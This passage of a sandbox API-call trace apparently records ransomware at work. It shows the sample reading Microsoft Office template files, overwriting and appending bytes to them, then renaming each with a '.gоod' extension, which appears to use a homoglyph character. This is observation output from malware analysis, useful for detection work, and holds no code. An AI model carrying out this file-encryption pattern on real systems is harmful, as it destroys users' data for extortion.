lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx.gоod", lpFilePart=0x0) returned 0x48 [0258.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0258.425] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\training.potx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x963ea144, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12f36d)) returned 1 [0258.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0258.425] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\training.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\training.potx.gоod")) returned 1 [0258.426] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", lpFilePart=0x0) returned 0x51 [0258.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0258.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\widescreenpresentation.potx"), fInfoLevelId=0x0, lpFileInformation=0x3892ed8 | out: lpFileInformation=0x3892ed8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2df34)) returned 1 [0258.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0258.428] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", lpFilePart=0x0) returned 0x51 [0258.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\widescreenpresentation.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.428] GetFileType (hFile=0x8a0) returned 0x1 [0258.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.428] GetFileType (hFile=0x8a0) returned 0x1 [0258.428] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0258.428] ReadFile (in: hFile=0x8a0, lpBuffer=0x3893350, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3893350*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0258.429] CloseHandle (hObject=0x8a0) returned 1 [0258.429] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", lpFilePart=0x0) returned 0x51 [0258.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\widescreenpresentation.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.430] GetFileType (hFile=0x8a0) returned 0x1 [0258.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.430] GetFileType (hFile=0x8a0) returned 0x1 [0258.430] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x2df34 [0258.430] WriteFile (in: hFile=0x8a0, lpBuffer=0x3894618*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3894618*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0258.431] CloseHandle (hObject=0x8a0) returned 1 [0258.431] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", lpFilePart=0x0) returned 0x51 [0258.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\widescreenpresentation.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.431] GetFileType (hFile=0x8a0) returned 0x1 [0258.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.431] GetFileType (hFile=0x8a0) returned 0x1 [0258.431] ReadFile (in: hFile=0x8a0, lpBuffer=0x3896908, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3896908*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0258.522] CloseHandle (hObject=0x8a0) returned 1 [0258.522] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", lpFilePart=0x0) returned 0x51 [0258.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\widescreenpresentation.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.523] GetFileType (hFile=0x8a0) returned 0x1 [0258.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.523] GetFileType (hFile=0x8a0) returned 0x1 [0258.523] WriteFile (in: hFile=0x8a0, lpBuffer=0x3714e20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3714e20*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0258.523] CloseHandle (hObject=0x8a0) returned 1 [0258.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx", lpFilePart=0x0) returned 0x51 [0258.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx.gоod", lpFilePart=0x0) returned 0x56 [0258.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0258.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\widescreenpresentation.potx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x964cef5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2df44)) returned 1 [0258.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0258.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\widescreenpresentation.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\widescreenpresentation.potx.gоod")) returned 1 [0258.524] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", lpFilePart=0x0) returned 0x49 [0258.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0258.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\word 2010 look.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3728b70 | out: lpFileInformation=0x3728b70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52f3)) returned 1 [0258.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0258.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", lpFilePart=0x0) returned 0x49 [0258.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\word 2010 look.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.525] GetFileType (hFile=0x8a0) returned 0x1 [0258.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.525] GetFileType (hFile=0x8a0) returned 0x1 [0258.525] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0258.525] ReadFile (in: hFile=0x8a0, lpBuffer=0x3728fa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3728fa8*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0258.527] CloseHandle (hObject=0x8a0) returned 1 [0258.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", lpFilePart=0x0) returned 0x49 [0258.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0258.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\word 2010 look.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0258.527] GetFileType (hFile=0x8a0) returned 0x1 [0258.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0258.527] GetFileType (hFile=0x8a0) returned 0x1 [0258.527] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x52f3 [0258.527] WriteFile (in: hFile=0x8a0, lpBuffer=0x372a250*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x372a250*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0258.771] CloseHandle (hObject=0x8a0) returned 1 [0259.427] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", lpFilePart=0x0) returned 0x49 [0259.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0259.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\word 2010 look.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0259.464] GetFileType (hFile=0x8a0) returned 0x1 [0259.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0259.464] GetFileType (hFile=0x8a0) returned 0x1 [0259.524] ReadFile (in: hFile=0x8a0, lpBuffer=0x379d4f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x379d4f0*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0259.557] CloseHandle (hObject=0x8a0) returned 1 [0259.557] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", lpFilePart=0x0) returned 0x49 [0259.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0259.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\word 2010 look.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0259.558] GetFileType (hFile=0x8a0) returned 0x1 [0259.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0259.558] GetFileType (hFile=0x8a0) returned 0x1 [0259.558] WriteFile (in: hFile=0x8a0, lpBuffer=0x3782d58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3782d58*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0259.558] CloseHandle (hObject=0x8a0) returned 1 [0259.558] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx", lpFilePart=0x0) returned 0x49 [0259.558] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx.gоod", lpFilePart=0x0) returned 0x4e [0259.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0259.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\word 2010 look.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x96ebdbd5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5303)) returned 1 [0259.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0259.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\word 2010 look.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\word 2010 look.dotx.gоod")) returned 1 [0259.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec0b0) returned 1 [0259.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access", nBufferLength=0x105, lpBuffer=0x200ebb50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access", lpFilePart=0x0) returned 0x3c [0259.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\*", lpFindFileData=0x200ebdd0 | out: lpFindFileData=0x200ebdd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0259.565] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x200ebd90 | out: lpFindFileData=0x200ebd90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.565] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x200ebd90 | out: lpFindFileData=0x200ebd90*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11300d, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessparts.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0259.566] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x200ebd90 | out: lpFindFileData=0x200ebd90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataType", cAlternateFileName="")) returned 1 [0259.566] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x200ebd90 | out: lpFindFileData=0x200ebd90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0259.566] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x200ebd90 | out: lpFindFileData=0x200ebd90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0 [0259.566] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0259.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ebff0) returned 1 [0259.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ebfb0) returned 1 [0259.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec0b0) returned 1 [0259.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access", nBufferLength=0x105, lpBuffer=0x200ebb50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access", lpFilePart=0x0) returned 0x3c [0259.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\*", lpFindFileData=0x200ebdd0 | out: lpFindFileData=0x200ebdd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0259.566] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x200ebd90 | out: lpFindFileData=0x200ebd90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.567] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x200ebd90 | out: lpFindFileData=0x200ebd90*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11300d, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessparts.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0259.567] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x200ebd90 | out: lpFindFileData=0x200ebd90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataType", cAlternateFileName="")) returned 1 [0259.567] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x200ebd90 | out: lpFindFileData=0x200ebd90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0259.567] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x200ebd90 | out: lpFindFileData=0x200ebd90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0259.567] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0259.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ebff0) returned 1 [0259.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ebfb0) returned 1 [0259.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", nBufferLength=0x105, lpBuffer=0x200eb990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", lpFilePart=0x0) returned 0x4c [0259.567] SetThreadErrorMode (dwNewMode=0x1, 